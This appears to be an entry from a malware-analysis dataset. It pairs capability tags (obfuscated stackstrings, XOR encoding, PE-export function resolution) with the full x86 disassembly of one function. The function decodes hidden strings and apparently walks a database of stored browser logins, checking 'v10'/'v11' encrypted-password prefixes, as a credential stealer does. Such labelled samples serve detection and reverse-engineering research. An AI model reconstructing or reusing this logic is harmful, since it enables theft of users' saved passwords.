Function at 0x41330e
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x180
mov eax, dword [0x42b92c]
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0xc8], ecx
or eax, 0xb162
mov dword [esp + 0xcc], ebp
push edi
mov word [0x42b8d8], ax
call fcn.00420376
movzx esi, word [0x42b910]
mov ebx, eax
and esi, 0x444fe495
mov dword [0x42b92c], esi
or esi, 0x37d6
mov word [0x42b910], si
test ebx, ebx
je 0x413eef
mov dword [esp + 0x40], 0x778e8740
xor ecx, ecx
mov dword [esp + 0x44], 0x84828a67
mov edx, 0xff
mov dword [esp + 0x48], 0x7c5f3b89
mov word [esp + 0x4c], 0x7c8f
movzx eax, byte [esp + ecx + 0x40]
sub ax, 0x1b
and ax, dx
mov word [esp + ecx*2 + 0x130], ax
inc ecx
cmp ecx, 0xe
jl 0x41338d
xor eax, eax
mov word [esp + 0x14c], ax
mov eax, 0xd76
add si, ax
lea eax, [esp + 0x130]
push ebp
push eax
mov word [0x42b910], si
call fcn.00422d73
pop ecx
pop ecx
movzx ecx, word [0x42b8d8]
mov edi, eax
and ecx, 0xac64e059
mov dword [esp + 0xd4], edi
mov dword [0x42b92c], ecx
imul ecx, ecx, 0x937a
movzx edx, cx
mov word [0x42b8d8], cx
test edi, edi
je 0x413eef
mov eax, edx
mov ecx, 0x126f
xor eax, 0x64ae2bdd
mov dword [0x42b92c], eax
mov ax, word [0x42b910]
sub ax, cx
mov ecx, edi
mov word [0x42b8d8], ax
add eax, 0xffffed0e
and eax, 0xcb41
mov word [0x42b910], ax
call fcn.00422e77
mov edx, 0x747c
mov ecx, 0xf6e3
or dx, word [0x42b910]
mov ebp, eax
movzx edx, dx
imul edx, ecx
mov dword [esp + 0xe8], ebp
mov word [0x42b8d8], dx
test ebp, ebp
je 0x413eda
lea eax, [edx + 0x573c]
mov ecx, ebp
xor edx, edx
mov word [0x42b910], ax
call fcn.004235be
movzx esi, word [0x42b92c]
mov ecx, esi
imul edx, esi, 0xab11
and ecx, 0xf2e8
mov dword [esp + 0xdc], eax
mov word [0x42b8d8], cx
test eax, eax
je 0x413e86
mov eax, esi
or ecx, 0x65e3
or eax, 0x4e6a
mov word [0x42b910], cx
xor eax, 0xf904c8bc
imul eax, eax, 0xf44d80e7
push 0
push 1
mov dword [0x42b92c], eax
lea eax, [ecx + 0x7a83]
mov word [0x42b8d8], ax
lea eax, [esp + 0xe0]
push eax
push dword [esp + 0xe8]
call dword [ebx + 4]
add esp, 0x10
test eax, eax
jne 0x413e1b
mov dword [esp + 0x8c], 0xe2e9e2f0
xor ecx, ecx
mov dword [esp + 0x90], 0xcbdf1e0
mov dword [esp + 0x94], 0x604060f
mov dword [esp + 0x98], 0xf12fc0b
mov dword [esp + 0x9c], 0x12bdc909
mov dword [esp + 0xa0], 0xb0f0210
mov dword [esp + 0xa4], 0xfc020afe
mov dword [esp + 0xa8], 0x1209fe13
mov dword [esp + 0xac], 0xdbdc902
mov dword [esp + 0xb0], 0x141010fe
mov dword [esp + 0xb4], 0xfc010f0c
mov dword [esp + 0xb8], 0x1209fe13
mov dword [esp + 0xbc], 0xefe3bd02
mov dword [esp + 0xc0], 0x9bdeaec
mov dword [esp + 0xc4], 0xb06040c
mov byte [esp + 0xc8], 0x10
mov al, byte [esp + ecx + 0x8c]
add al, 0x63
mov byte [esp + ecx + 0x150], al
inc ecx
cmp ecx, 0x3d
jl 0x4135aa
movzx ecx, word [0x42b8d8]
mov eax, 0xf63f
movzx edx, word [0x42b910]
or esi, 0xffffffff
imul ecx, eax
or edx, 0xe9597b83
mov eax, 0x80
mov byte [esp + 0x18d], 0
push 0
mov dword [0x42b92c], edx
xor cx, ax
mov eax, 0x21c0
and cx, ax
lea eax, [edx - 0xf3d]
mov word [0x42b8d8], ax
lea eax, [esp + 0x1c]
push eax
push esi
lea eax, [esp + 0x15c]
mov word [0x42b910], cx
push eax
push dword [esp + 0xe8]
call dword [ebx + 8]
add esp, 0x14
test eax, eax
jne 0x413efa
imul ecx, dword [0x42b92c], 0x8f8f
lea edi, [esp + 0x2c]
push dword [esp + 0x18]
stosd dword es:[edi], eax
mov word [0x42b8d8], cx
xor ecx, 0x9d13
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, cx
and ecx, 0xe273
xor eax, 0x1f6d1720
mov word [0x42b910], cx
mov dword [0x42b92c], eax
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
jne 0x413b6e
mov dword [esp + 0x54], 0xdfa9b7b0
mov byte [esp + 0x58], 0xc5
mov dword [esp + 0x5c], 0x98bee1e6
mov dword [esp + 0x60], 0x8a85998e
mov dword [esp + 0x64], 0xcbd18e86
mov dword [esp + 0x1c], 0xd9e8b2b5
mov dword [esp + 0x20], 0xd7cfcbcb
mov dword [esp + 0x24], 0x9882dcca
mov dword [esp + 0x68], 0xd19a9d
mov dword [esp + 0x6c], 0xf3f9fc00
mov dword [esp + 0x70], 0xfff904f1
mov word [esp + 0x74], 0xcafe
mov byte [esp + 0x76], 0xb0
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x54]
xor al, 0xe5
mov byte [esp + ecx + 0x38], al
inc ecx
cmp ecx, 5
jl 0x4136e3
mov byte [esp + 0x3d], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x5c]
xor al, 0xeb
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 0xc
jl 0x4136f9
mov byte [esp + 0x100], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x1c]
xor al, 0xb8
mov byte [esp + ecx + 0x40], al
inc ecx
cmp ecx, 0xc
jl 0x413715
mov byte [esp + 0x4c], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x68]
add al, 0x70
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0xf
jl 0x41372b
mov byte [esp + 0x12f], dl
mov ecx, edx
mov word [esp + 0x14], 0x5f
mov dword [esp + 0x78], 0x7e7e4b4e
mov dword [esp + 0x7c], 0x7e7e7e7e
mov dword [esp + 0x80], 0x7e7e7e7e
mov dword [esp + 0x84], 0x7e7e7e7e
mov word [esp + 0x88], 0x4e7e
mov byte [esp + 0x8a], 0x4b
mov al, byte [esp + ecx + 0x78]
sub al, 0x41
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 0x13
jl 0x413786
mov ax, word [0x42b910]
mov ecx, 0x1ac7
sub ax, cx
mov byte [esp + 0x117], dl
mov ecx, 0x850
lea edx, [esp + 0x38]
xor ax, cx
mov ecx, 0x6b73
and ax, cx
lea ecx, [esp + 0x2c]
mov word [0x42b8d8], ax
mov eax, dword [0x42b92c]
add eax, 0xffffe81c
push esi
mov word [0x42b910], ax
call fcn.004234c5
pop ecx
mov eax, 0x7ea0
add ax, word [0x42b910]
push 0
push dword [esp + 0x1c]
mov word [0x42b8d8], ax
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 0
push dword [esp + 0x20]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x30]
call fcn.004234c5
movzx eax, word [0x42b8d8]
lea edx, [esp + 0xf8]
pop ecx
xor eax, 0x71809913
lea ecx, [esp + 0x2c]
push esi
mov dword [0x42b92c], eax
call fcn.004234c5
pop ecx
mov eax, 0x831e
or ax, word [0x42b8d8]
push 1
push dword [esp + 0x1c]
mov word [0x42b910], ax
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x20]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x30]
call fcn.004234c5
pop ecx
movzx ecx, word [0x42b910]
lea edx, [esp + 0x40]
mov eax, 0x83f3
imul ecx, eax
push esi
mov word [0x42b8d8], cx
lea ecx, [esp + 0x30]
call fcn.004234c5
pop ecx
push 2
push dword [esp + 0x1c]
mov eax, 0x16c2
add word [0x42b910], ax
call dword [ebx + 0x14]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x413a9b
movzx edx, word [0x42b92c]
mov ecx, edx
and ecx, 0xee41
mov word [0x42b8d8], cx
push 2
push dword [esp + 0x1c]
lea ecx, [edx - 0x2fa0]
mov word [0x42b910], cx
call dword [ebx + 0x20]
mov dx, word [0x42b8d8]
mov ebp, eax
movzx edi, dx
mov eax, 0xfb43
add edi, 0xc7118f1c
or dx, ax
cmp byte [esi], 0x76
pop ecx
pop ecx
mov dword [0x42b92c], edi
jne 0x4139d2
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x4139d2
cmp byte [eax], 0x30
je 0x413928
cmp byte [eax], 0x31
jne 0x4139d2
lea eax, [edi - 0x454c]
mov edx, ebp
mov word [0x42b910], ax
mov ecx, esi
xor eax, 0xfdc8
sub eax, 0x740c
mov word [0x42b8d8], ax
lea eax, [esp + 0x50]
push eax
call fcn.0040fbaa
pop ecx
mov ecx, dword [0x42b92c]
mov esi, eax
xor ecx, 0xfefd
add ecx, 0xffffffe8
mov word [0x42b8d8], cx
test esi, esi
je 0x413a9b
push dword [esp + 0x50]
movzx eax, cx
mov edx, esi
or eax, 0xb2a0d6a8
lea ecx, [esp + 0x30]
mov dword [0x42b92c], eax
xor eax, 0xaff0
mov word [0x42b8d8], ax
add eax, 0x75d4
mov word [0x42b910], ax
call fcn.00423107
mov ax, word [0x42b8d8]
pop ecx
mov ecx, 0x2a2
xor ax, cx
mov word [0x42b8d8], ax
movzx eax, ax
xor eax, 0xf7ae0119
push esi
mov dword [0x42b92c], eax
call fcn.004056f0
jmp 0x413a9a
movzx eax, dx
mov ecx, 0x5892
add ax, cx
mov dword [esp + 0xf0], esi
or eax, 0x3897
mov dword [esp + 0xec], ebp
imul eax, eax, 0xd2f1
mov ecx, 0x20af
or dx, cx
mov word [0x42b8d8], dx
xor eax, 0x6989
add eax, 0x6241
mov word [0x42b910], ax
movzx eax, dx
mov edx, 0xbedfd981
sub eax, 0x4557782e
and eax, 0xc0081a82
mov dword [0x42b92c], eax
lea eax, [esp + 0xe0]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x104]
push eax
push 3
pop ecx
call fcn.004155a6
call eax
test eax, eax
je 0x413a9b
movzx eax, word [0x42b910]
push dword [esp + 0xe0]
mov edx, dword [esp + 0xe8]
imul ecx, eax, 0xc0bfe919
lea eax, [ecx + 0x101e]
xor ecx, 0x5c2b640d
mov dword [0x42b92c], ecx
or ecx, 0x18e8
mov word [0x42b8d8], cx
lea ecx, [esp + 0x30]
mov word [0x42b910], ax
call fcn.00423107
pop ecx
mov eax, dword [0x42b92c]
lea edx, [esp + 0x120]
or eax, 0x22f
lea ecx, [esp + 0x2c]
or esi, 0xffffffff
mov word [0x42b910], ax
push esi
call fcn.004234c5
mov eax, dword [0x42b92c]
mov edx, dword [esp + 0xd0]
add eax, 0xcb6
mov word [0x42b8d8], ax
movzx eax, ax
imul eax, eax, 0x932939ce
pop ecx
lea ecx, [esp + 0x2c]
mov dword [0x42b92c], eax
call fcn.00422c43
movzx eax, word [0x42b8d8]
lea edx, [esp + 0x14]
imul eax, eax, 0xac7cbd9e
lea ecx, [esp + 0x2c]
push esi
mov dword [0x42b92c], eax
add eax, 0xfffff6a3
mov word [0x42b8d8], ax
call fcn.004234c5
movzx eax, word [0x42b8d8]
mov edx, dword [esp + 0x198]
and eax, 0xcba87ca
pop ecx
lea ecx, [esp + 0x2c]
mov dword [0x42b92c], eax
call fcn.00422c43
imul eax, dword [0x42b92c], 0xe3a8
lea edx, [esp + 0x104]
push esi
lea ecx, [esp + 0x30]
mov word [0x42b8d8], ax
call fcn.004234c5
pop ecx
push dword [esp + 0x18]
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
je 0x4136df
mov dx, word [0x42b910]
mov eax, 0x5e8a
add ax, dx
mov word [0x42b8d8], ax
movzx eax, dx
add eax, 0x7881bcce
cmp dword [esp + 0x2c], 0
je 0x413dfb
mov dword [esp + 0x1c], 0xd2d2c0f1
xor ecx, ecx
mov dword [esp + 0x20], 0xc5d3ced6
mov dword [esp + 0x24], 0xd9d58fd2
mov byte [esp + 0x28], 0xd5
mov al, byte [esp + ecx + 0x1c]
xor al, 0xa1
movzx eax, al
mov word [esp + ecx*2 + 0x104], ax
inc ecx
cmp ecx, 0xd
jl 0x413bb5
xor eax, eax
mov word [esp + 0x11e], ax
mov eax, 0x516e
sub dx, ax
movzx ecx, dx
lea edx, [esp + 0xcc]
or ecx, 0x5ca8
add ecx, 0x6da2c470
lea eax, [ecx + 0x2f74]
mov word [0x42b8d8], ax
add eax, 0x4bd8
mov word [0x42b910], ax
lea eax, [ecx + 0x567083ca]
mov ecx, dword [esp + 0xd0]
mov dword [0x42b92c], eax
call fcn.00413f04
movzx edx, word [0x42b910]
mov esi, eax
add edx, 0x89326307
imul ecx, edx, 0x4f36
mov dword [0x42b92c], edx
mov word [0x42b910], cx
test esi, esi
je 0x413db8
mov ecx, edx
or edx, 0x22cb
xor ecx, 0x14ac9f10
add edx, 0x6f8b
mov eax, ecx
mov word [0x42b910], dx
mov edx, dword [esp + 0xcc]
and eax, 0x5542
mov word [0x42b8d8], ax
lea eax, [ecx + 0x63a4a696]
mov ecx, esi
mov dword [0x42b92c], eax
lea eax, [esp + 0xd0]
push eax
call fcn.0040fbaa
mov edx, dword [0x42b92c]
mov edi, eax
pop ecx
movzx ebp, dx
imul ecx, ebp, 0xa125
or ecx, 0x4d24
test edi, edi
je 0x413d9c
mov dword [esp + 0x38], 0x42a6b6c
xor ecx, ecx
mov word [esp + 0x3c], 0x5b18
mov byte [esp + 0x3e], 0x41
mov al, byte [esp + ecx + 0x38]
xor al, 0x61
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, 7
jl 0x413ccb
mov byte [esp + 0xe7], 0
xor ecx, ecx
mov word [esp + 0x14], 0x9a9d
mov al, byte [esp + ecx + 0x14]
add al, 0x70
mov byte [esp + ecx + 0x50], al
inc ecx
cmp ecx, 2
jl 0x413cef
imul eax, ebp, 0xd8b0
lea ecx, [esp + 0x2c]
and edx, 0x31e41974
mov byte [esp + 0x52], 0
mov dword [0x42b92c], edx
lea edx, [esp + 0xe0]
push 0xffffffffffffffff
mov word [0x42b8d8], ax
mov eax, 0x1429
xor word [0x42b910], ax
call fcn.004234c5
imul eax, dword [0x42b92c], 0x454a
mov edx, edi
pop ecx
push dword [esp + 0xd0]
lea ecx, [esp + 0x30]
mov word [0x42b8d8], ax
call fcn.00423107
mov ax, word [0x42b8d8]
lea edx, [esp + 0x54]
pop ecx
mov ecx, 0x6044
sub ax, cx
lea ecx, [esp + 0x2c]
push 0xffffffffffffffff
mov word [0x42b910], ax
call fcn.004234c5
pop ecx
mov eax, 0xe66c
and word [0x42b910], ax
push edi
call fcn.004056f0
pop ecx
mov cx, word [0x42b8d8]
mov eax, 0xe56
xor cx, ax
push esi
mov word [0x42b8d8], cx
call fcn.004056f0
mov edx, dword [0x42b92c]
pop ecx
mov ecx, dword [esp + 0x2c]
imul eax, edx, 0x5bb8
mov edx, dword [esp + 0x34]
mov word [0x42b8d8], ax
lea eax, [esp + 0x104]
push eax
call fcn.0041eb29
pop ecx
push dword [esp + 0x2c]
mov eax, 0x3513
xor ax, word [0x42b910]
mov word [0x42b8d8], ax
call fcn.004056f0
mov eax, dword [0x42b92c]
pop ecx
mov edi, dword [esp + 0xd4]
push dword [esp + 0x18]
sub eax, 0x43c0ceeb
mov dword [0x42b92c], eax
call dword [ebx + 0x18]
mov ebp, dword [esp + 0xec]
pop ecx
movzx ecx, word [0x42b8d8]
push dword [esp + 0xd8]
add ecx, 0x2171abae
mov eax, ecx
or eax, 0xc2ae
mov word [0x42b8d8], ax
imul eax, ecx, 0xb06f66f9
mov dword [0x42b92c], eax
call dword [ebx + 0x1c]
pop ecx
movzx ecx, word [0x42b8d8]
mov eax, 0x13c5
push dword [esp + 0xdc]
imul ecx, eax
movzx eax, word [0x42b910]
xor eax, 0xf8a486a9
mov dword [0x42b92c], eax
mov word [0x42b8d8], cx
call fcn.004056f0
mov dx, word [0x42b910]
pop ecx
mov eax, 0x7dd5
xor ecx, ecx
xor dx, ax
inc ecx
mov word [0x42b910], dx
mov edx, 0x62d87b
push ebp
call fcn.004155a6
call eax
movzx eax, word [0x42b910]
movzx ecx, word [0x42b8d8]
or eax, 0x6ce70e86
mov dword [0x42b92c], eax
mov eax, 0x2fa2
imul ecx, eax
push ebp
mov word [0x42b910], cx
call fcn.004056f0
mov dx, word [0x42b8d8]
pop ecx
mov eax, 0x66a3
add ax, dx
push edi
mov word [0x42b910], ax
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x180
ret
mov eax, dword [0x42b92c]
jmp 0x413e02